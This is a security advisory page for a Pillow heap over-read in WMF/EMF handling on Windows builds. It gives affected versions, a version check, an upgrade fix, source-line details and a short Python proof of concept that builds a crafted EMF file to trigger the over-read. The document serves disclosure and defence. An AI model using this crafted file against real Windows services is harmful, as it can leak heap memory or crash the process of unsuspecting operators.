---
id: "CVE-2026-96644"
kind: "vulnerability"
aliases: ["CVE-2026-96644", "GHSA-9v9v-9qvf-h2hj"]
title: "Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)"
severity: "high"
cvss: 7.1
epss: 0.003329999977722764
exploited: false
status: "open"
category: "package"
products: [{"name": "Pillow", "fixed": ["13.0.0"], "affected": "< 13.0.0", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-125", "image-processing", "package", "pillow", "python", "windows"]
not_affected_if: ["linux-or-macos-builds", "no-untrusted-wmf-emf-input", "pillow-13.0.0-or-later"]
published_at: "2026-10-21T21:20:32+00:00"
first_seen_at: "2026-10-23T19:11:31+00:00"
updated_at: "2026-10-23T21:57:29+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-9v9v-9qvf-h2hj", "first_seen_at": "2026-10-23T19:11:31+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96644", "first_seen_at": "2026-10-23T21:57:29+00:00"}]
---

# Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)

Pillow on Windows builds mishandles EMF and WMF image dimensions, so a crafted metafile that passes the decompression-bomb pixel check causes a heap buffer over-read in the native drawwmf handler. An attacker who gets a victim to open a malicious EMF or WMF file can leak heap memory or crash the process.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:Pillow affected < 13.0.0 fixed 13.0.0

## How to check

Run python -c "import PIL; print(PIL.__version__)" and check whether it is below 13.0.0.
Check whether the service runs on Windows and opens untrusted EMF or WMF files via PIL.Image.open.

## Fix

Upgrade Pillow to 13.0.0 or later (pip install -U "pillow>=13.0.0").
If you cannot upgrade, do not open untrusted EMF or WMF files on Windows.

## Timeline

- 2026-10-23T19:11:31+00:00 ghsa https://github.com/advisories/GHSA-9v9v-9qvf-h2hj
- 2026-10-23T21:57:29+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-96644

## From the sources

### Summary
On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.

### Details
The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:

- `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`.

In the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:

- `src/display.c:793-794` assign the 16-bit fields
- `src/display.c:800` sizes the allocation from them
- `src/display.c:827` copies `height * ((width * 3 + 3) & -4)` bytes using the full values

The whole handler is compiled only on Windows (`#ifdef _WIN32`, `src/display.c:33-841`).

### PoC
```python
import struct
from PIL import Image

def L(v):
    return struct.pack("<i", v)

# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf  = b"\x01\x00\x00\x00" + L(88)          # record type + size
emf += L(0) + L(0) + L(70000) + L(1)        # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100)        # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF"                              # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)

im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load()                                   # over-read happens here on a Windows build
```

On Linux the first part is observable: the 88-byte file opens, `size` is `(70000, 1)`, and the bomb check passes. The native over-read only exists on Windows because `Image.core.drawwmf` is compiled out elsewhere (on Linux `im.load()` raises `OSError` instead).

### Impact
CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
